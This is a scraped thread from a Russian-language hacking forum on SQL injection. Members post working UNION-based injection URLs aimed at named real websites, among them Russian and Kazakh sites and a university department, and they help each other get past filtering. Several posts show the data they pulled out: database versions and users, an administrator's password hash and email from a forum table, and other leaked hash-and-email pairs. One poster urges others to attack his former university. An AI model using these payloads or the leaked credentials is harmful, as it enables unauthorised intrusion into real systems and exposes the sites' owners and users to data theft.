SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Leone_510

    Leone_510 Banned

    Joined:
    5 Jan 2008
    Messages:
    25
    Likes Received:
    5
    Reputations:
    0
    http://softnew.ru/

    http://softnew.ru/news/index.phtml?r=13&id=-259524+union+select+1,2,3,4,5,6,7,concat(user,password)+from+mysql.user+limit+0,1/*
     
    1 person likes this.
  2. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    ftp.mcs.com
    4.1.20:apache@localhost:mcsnew2

    ecoinnovation.co.nz
    5.0.41-Dotdeb_1.dotdeb.2-log:ecoinnovation@localhost:ecoinnovation
    mrllkl4544:66228d04224d8739:[email protected]
    powerman:66228d04224d8739:[email protected]
     
    3 people like this.
  3. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Антибоян обновлен, спасибо Ro man и gibson. незабываем проверять на боянность свои скули http://filefront.jino-net.ru/sql.html
     
  4. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    не всем повело как мне . скуль иньекция на сайте моего бывшего универа)))зря они мен исключили за многократное появление в нетрезвом состоянии))

    http://tsu.tmb.ru/ru/main.php?put=ob_yniv/struct_podr/
    inst_filologii/dikkens&middle=conferenses/index&conf_id
    =1+union+select+1,version(),3/*

    учудите плиз с этим гадюшником не ценящий психоделического движения киберпанконаркоманов

    Ps одна девчонка из этого универа с 5 того курса встречалась со мной незная что я на 1вом))) бугага
     
    #5004 ZET36, 8 Mar 2008
    Last edited: 8 Mar 2008
    1 person likes this.
  5. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.paradigma.kz/index.php?part=info&article_type_id=-1+union+select+1,concat(user(),char(58),version(),char(58),database()),3,4,5,6,7,8,9,10,11,12,13+/*

    [email protected]
    5.0.45-log
    u10639
     
  6. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    truelamer
    В антибояне её нет ,а тут есть:
    google
    paradigma.kz site:forum.antichat.ru
    так что 11100000
     
  7. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.sbornaya.kz/news/view/?newsid=-1+union+select+1,2,3,4,5,6,7,8,aes_decrypt(aes_encrypt(concat(version(),char(58),user(),char(58),database()),1),1),10,11,12,13,14,15+/*

    4.1.13
    [email protected]
    sbornaya
     
  8. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    http://www.beton.ru/center.php?chp=showpage&parent=799&num=
    1+union+select+1,2,3333333,4,5,66666,7,8,9,10,11/*

    эх фильтрация
     
    #5008 ZET36, 8 Mar 2008
    Last edited: 8 Mar 2008
  9. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.loverland.ru/addbasket.php?action=add&id=-1+union+select+concat(user(),char(58),version(),char(58),database())/*

    loverland@localhost
    5.0.41
    loverland
     
  10. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5

    http://www.beton.ru/center.php?chp=showpage&parent=799&num=%20%201+union+select+1,2,aes_decrypt(aes_encrypt(concat(version(),char(58),database(),char(58),user()),1),1),4,5,66666,7,8,9,10,11/*

    4.1.15mysql-other-log
    beton
    [email protected]

    http://www.beton.ru/center.php?chp=showpage&parent=799&num=%20%201+union+select+1,2,concat(login,char(58),password),4,5,66666,7,8,9,10,11+from+users+limit+0,1+/*
     
    #5010 truelamer, 8 Mar 2008
    Last edited: 8 Mar 2008
  11. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    truelamer
    ты издеваешься что-ли?
    Твой-же пост
    _http://forum.antichat.ru/showpost.php?p=611481&postcount=5072
    _http://forum.antichat.ru/showpost.php?p=611487&postcount=5073
    Это тоже баян
    _http://forum.antichat.ru/showpost.php?p=536081&postcount=4190
     
    2 people like this.
  12. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    Все ошибку понял теперь буду повнимательней
     
    1 person likes this.
  13. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    truelamer
    хех а
    http://www.beton.ru/center.php?chp=showpage&parent=799&num=1+union+select+1,2,database(),4,5,6,7,8,9,10,11/*
    выполнить неполучается
     
    #5013 ZET36, 8 Mar 2008
    Last edited: 8 Mar 2008
  14. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5

    Надо так:

    http://www.beton.ru/center.php/?chp=showpage&parent=799&num=1+union+select+1,2,aes_decrypt(aes_encrypt(concat(database()),1),1),4,5,66666,7,8,9,10,11/*
     
  15. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    ок спасибо понял
     
    1 person likes this.
  16. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.agun.kz/?type=news&id=-1+union+select+1,2,3,4,concat(user(),char(58),version(),char(58),database()),6,7,8+/*

    alarko@localhost
    4.1.22
    wwwalarkokz
     
  17. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.kaznpu.kz/kz/?annons=-1+union+select+concat(version(),char(58),user(),char(58),database())+/*

    http://www.kaznpu.kz/kz/?annons=-1+union+select+TABLE_NAME+from+INFORMATION_SCHEMA.TABLES+limit+20,1/*

    Почему вот этот не проходит: http://www.kaznpu.kz/kz/?annons=-1+union+select+COLUMN_NAME+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=moderator+limit+0,1/*

    http://www.kaznpu.kz/kz/?annons=-1+union+select+login+from+moderator/*

    login: muha
     
  18. vp$

    vp$ Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    65
    Likes Received:
    68
    Reputations:
    19
    www.adams-motors.ru

    http://www.adams-motors.ru/new.php?id=30000000+UNION+SELECT+concat_ws(0x3a,user_id,username,user_password,user_email,user_icq),2,3+from+phpbb_users+limit+1,1/*

    2:admin:178f6c2365ac7511b4bf37c8e89cc678(aldus885):[email protected]:
    пасс на plain-text.info расшифровал за 10 сек
    =======================================
    www.elysium.nnov.ru сайт рок-группы Элизиум вроде
    Code:
    http://www.elysium.nnov.ru/news/arc.php?id=136780000000+UNION+SELECT+0x7468617420617265206675636B2121,2,3/*
    Code:
    http://www.elysium.nnov.ru/news/arc.php?id=136780000000+UNION+SELECT+concat_ws(0x3a,version(),user(),database()),2,3/*
    5.0.45-log:elysium.nnov.ru@localhost:elysium
    есть таблички jos_users и users
     
    #5018 vp$, 8 Mar 2008
    Last edited: 9 Mar 2008
    1 person likes this.
  19. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.design.upenn.edu/new/about/newsdetail.php?nid=99999+union+select+1,2,concat(version(),char(58),user(),char(58),database()),4,5,6,7,8,9,10,11+/*

    4.1.20
    penndesign@localhost
    PennDesign
     
  20. ReVOLVeR

    ReVOLVeR Banned

    Joined:
    2 Sep 2006
    Messages:
    170
    Likes Received:
    100
    Reputations:
    32
    _http://www.alpha.perm.ru/iaproject/txt.php?n=-1+union+select+1/*
     
Thread Status:
Not open for further replies.